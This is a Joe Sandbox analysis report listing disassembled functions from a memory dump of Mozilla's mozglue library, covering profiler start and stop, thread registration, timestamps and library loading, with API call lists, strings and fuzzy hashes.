Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CC1EBAC

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

GetCurrentThreadId.KERNEL32 ref: 6CC1EBC1
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,00000000), ref: 6CC1EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CC1EBE5
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8,00000000), ref: 6CC1EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC1EC46
CloseHandle.KERNEL32(?), ref: 6CC1EC55
free.MOZGLUE(00000000), ref: 6CC1EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CC1EA9B
[I %d/%d] profiler_start, xrefs: 6CC1EBB4

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 237dfbf883555b9c19b2022e073ebaa81fd8bba9315b84d968c6b01673b2222b
Instruction ID: 55ba4d5168ef59ef67a64e7eea26b36c08f5290c013c431401d437070f4a0ad2
Opcode Fuzzy Hash: 237dfbf883555b9c19b2022e073ebaa81fd8bba9315b84d968c6b01673b2222b
Instruction Fuzzy Hash: 76A134317046048FDB049F2AC858BAA7BF5FF86318F94402DE919E7F40EB719865CBA1

Function 6CC1F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CC1F8F9

Part of subcall function 6CBE6390: GetCurrentThreadId.KERNEL32 ref: 6CBE63D0
Part of subcall function 6CBE6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CBE63DF
Part of subcall function 6CBE6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CBE640E

ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F93A
GetCurrentThreadId.KERNEL32 ref: 6CC1F98A
GetCurrentThreadId.KERNEL32 ref: 6CC1F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F716

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

Part of subcall function 6CBDB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CBDB5E0

GetCurrentThreadId.KERNEL32 ref: 6CC1F739
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F746
GetCurrentThreadId.KERNEL32 ref: 6CC1F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC5385B,00000002,?,?,?,?,?), ref: 6CC1F829
free.MOZGLUE(?,?,00000000,?), ref: 6CC1F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CC1F866
free.MOZGLUE(?), ref: 6CC1FA0C

Part of subcall function 6CBE5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBE55E1), ref: 6CBE5E8C
Part of subcall function 6CBE5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5E9D
Part of subcall function 6CBE5E60: GetCurrentThreadId.KERNEL32 ref: 6CBE5EAB
Part of subcall function 6CBE5E60: GetCurrentThreadId.KERNEL32 ref: 6CBE5EB8
Part of subcall function 6CBE5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5ECF
Part of subcall function 6CBE5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CBE5F27
Part of subcall function 6CBE5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CBE5F47
Part of subcall function 6CBE5E60: GetCurrentProcess.KERNEL32 ref: 6CBE5F53
Part of subcall function 6CBE5E60: GetCurrentThread.KERNEL32 ref: 6CBE5F5C
Part of subcall function 6CBE5E60: GetCurrentProcess.KERNEL32 ref: 6CBE5F66
Part of subcall function 6CBE5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBE5F7E

free.MOZGLUE(?), ref: 6CC1F9C5
free.MOZGLUE(?), ref: 6CC1F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CC1F9A6
Thread , xrefs: 6CC1F789
" attempted to re-register as ", xrefs: 6CC1F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CC1F71F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 574ce5ed9674a4fbb6b1e1f616786caaaeb9ba400a0c7adca39a4e52cc8b4573
Instruction ID: 0a7199a4526865b3fd107315b07ab94d03a64aac6b1fe37a0340d322f847ec9a
Opcode Fuzzy Hash: 574ce5ed9674a4fbb6b1e1f616786caaaeb9ba400a0c7adca39a4e52cc8b4573
Instruction Fuzzy Hash: FB8115716083409FDB00DF25C840AAEBBB5FF85308F85856DE8459BB51FB30E859CBA2

Function 6CC1EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1EE60
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EE6D
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC1EEA5
CloseHandle.KERNEL32(?), ref: 6CC1EEB4
free.MOZGLUE(00000000), ref: 6CC1EEBB
GetCurrentThreadId.KERNEL32 ref: 6CC1EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1EECF

Part of subcall function 6CC1DE60: GetCurrentThreadId.KERNEL32 ref: 6CC1DE73
Part of subcall function 6CC1DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBE4A68), ref: 6CC1DE7B
Part of subcall function 6CC1DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBE4A68), ref: 6CC1DEB8
Part of subcall function 6CC1DE60: free.MOZGLUE(00000000,?,6CBE4A68), ref: 6CC1DEFE
Part of subcall function 6CC1DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC1DF38

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

GetCurrentThreadId.KERNEL32 ref: 6CC1EF1E
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EF2B
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EF59
GetCurrentThreadId.KERNEL32 ref: 6CC1EFB0
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EFBD
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EFE1
GetCurrentThreadId.KERNEL32 ref: 6CC1EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F000

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC1F02F

Part of subcall function 6CC1F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1F09B
Part of subcall function 6CC1F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC1F0AC
Part of subcall function 6CC1F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC1F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CC1EED7
[I %d/%d] profiler_pause, xrefs: 6CC1F008

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: f2441184df164c60745248856c3924303106b984b945180c35b8a329713548b2
Instruction ID: 266d7155046ea32f1c686870243babe77c3833914a7af93a576aa313f1c52dfc
Opcode Fuzzy Hash: f2441184df164c60745248856c3924303106b984b945180c35b8a329713548b2
Instruction Fuzzy Hash: 7D51E2357082109FDB04AB6AD41C7A67BB4EB46328F940659ED15E3F80FB754834C7B6

Function 6CBE5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5E9D

Part of subcall function 6CBF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B85
Part of subcall function 6CBF5B50: EnterCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B90
Part of subcall function 6CBF5B50: LeaveCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5BD8
Part of subcall function 6CBF5B50: GetTickCount64.KERNEL32 ref: 6CBF5BE4

GetCurrentThreadId.KERNEL32 ref: 6CBE5EAB
GetCurrentThreadId.KERNEL32 ref: 6CBE5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CBE6017

Part of subcall function 6CBD4310: moz_xmalloc.MOZGLUE(00000010,?,6CBD42D2), ref: 6CBD436A
Part of subcall function 6CBD4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBD42D2), ref: 6CBD4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CBE5F47
GetCurrentProcess.KERNEL32 ref: 6CBE5F53
GetCurrentThread.KERNEL32 ref: 6CBE5F5C
GetCurrentProcess.KERNEL32 ref: 6CBE5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBE5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CBE5F27

Part of subcall function 6CBECA10: mozalloc_abort.MOZGLUE(?), ref: 6CBECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBE55E1), ref: 6CBE5E8C

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBE55E1), ref: 6CBE605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBE55E1), ref: 6CBE60CC

Strings

GeckoMain, xrefs: 6CBE5ECE, 6CBE6015

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 7d4f3f613645dc1eb874db60370ac206c6ec692986bc742cad5e7ed31e782029
Instruction ID: 90ded25fa3414a162ccfd57037c5ba6c39145f8142b9b5c03c96993c4bad6a33
Opcode Fuzzy Hash: 7d4f3f613645dc1eb874db60370ac206c6ec692986bc742cad5e7ed31e782029
Instruction Fuzzy Hash: C571E2B0A047808FDB04DF28C4C0A6ABBF0FF5A744F54496DE58687B52E771E958CB92

Function 6CBE9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBD3217
Part of subcall function 6CBD31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBD3236
Part of subcall function 6CBD31C0: FreeLibrary.KERNEL32 ref: 6CBD324B
Part of subcall function 6CBD31C0: __Init_thread_footer.LIBCMT ref: 6CBD3260
Part of subcall function 6CBD31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBD327F
Part of subcall function 6CBD31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBD328E
Part of subcall function 6CBD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBD32AB
Part of subcall function 6CBD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBD32D1
Part of subcall function 6CBD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBD32E5
Part of subcall function 6CBD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBD32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBE9675
__Init_thread_footer.LIBCMT ref: 6CBE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBE9707
__Init_thread_footer.LIBCMT ref: 6CBE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBE9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBE97B7
FreeLibrary.KERNEL32 ref: 6CBE97D0
FreeLibrary.KERNEL32 ref: 6CBE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBE9824

Strings

MapViewOfFileNuma2, xrefs: 6CBE97B1
ntdll.dll, xrefs: 6CBE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBE9670
NtMapViewOfSection, xrefs: 6CBE9701

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e2b5caa31700f4048324aa0030bec611882443525b9fe9a3266ffdc8f40022df
Instruction ID: 0a6e330539f93a840ffc8f9ed81b71eda49f5f1a4ec51286438808ce176a617b
Opcode Fuzzy Hash: e2b5caa31700f4048324aa0030bec611882443525b9fe9a3266ffdc8f40022df
Instruction Fuzzy Hash: 7D61F371B00241DFDF04DF69D884F9A7BB4EB4E794F944529E915A3780E730E868CB92

Function 6CBE7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CBE8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CBE801D

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CBE802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CBE803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CBE808D

Part of subcall function 6CBECA10: mozalloc_abort.MOZGLUE(?), ref: 6CBECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CBE809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBE80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CBE80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CBE8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CBE8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CBE8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CBE817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE8199

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 639588fd02e3f9a9e8a92dcaa7f951d8356fe046ce4f3fbc301c2c13b73af212
Instruction ID: c8c62eb2d4093d1f67606a79f9d745de847dba89a87033e998d29cb9349ac050
Opcode Fuzzy Hash: 639588fd02e3f9a9e8a92dcaa7f951d8356fe046ce4f3fbc301c2c13b73af212
Instruction Fuzzy Hash: 9251A3B1E002545BDB00DBA9DC80AAFBBB9EF4D664F144125E815F7741E731D9098BA2

Function 6CC36660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CC5F618), ref: 6CC36694
GetThreadId.KERNEL32(?), ref: 6CC366B1
GetCurrentThreadId.KERNEL32 ref: 6CC366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC366E1
EnterCriticalSection.KERNEL32(6CC5F618), ref: 6CC36734
GetCurrentProcess.KERNEL32 ref: 6CC3673A
LeaveCriticalSection.KERNEL32(6CC5F618), ref: 6CC3676C
GetCurrentThread.KERNEL32 ref: 6CC367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CC36868
RtlCaptureContext.NTDLL ref: 6CC3687F

Strings

WalkStack64, xrefs: 6CC36890

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: d6899218cc2415a5657c0e2ba4836d9669422826796418adfe8d1ee4b6430750
Instruction ID: 86d19042b72efade24c66c7c477df6cf1da6ba6cdc567299693776e2cd50fe3a
Opcode Fuzzy Hash: d6899218cc2415a5657c0e2ba4836d9669422826796418adfe8d1ee4b6430750
Instruction Fuzzy Hash: B451D071A09710AFD711CF24D844B5ABBF4FF89714F44492DF99897640E7B0E418CB92

Function 6CC1DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1DE73
GetCurrentThreadId.KERNEL32 ref: 6CC1DF7D
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1DF8A
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1DFC9
GetCurrentThreadId.KERNEL32 ref: 6CC1DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBE4A68), ref: 6CC1DE7B

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBE4A68), ref: 6CC1DEB8
free.MOZGLUE(00000000,?,6CBE4A68), ref: 6CC1DEFE
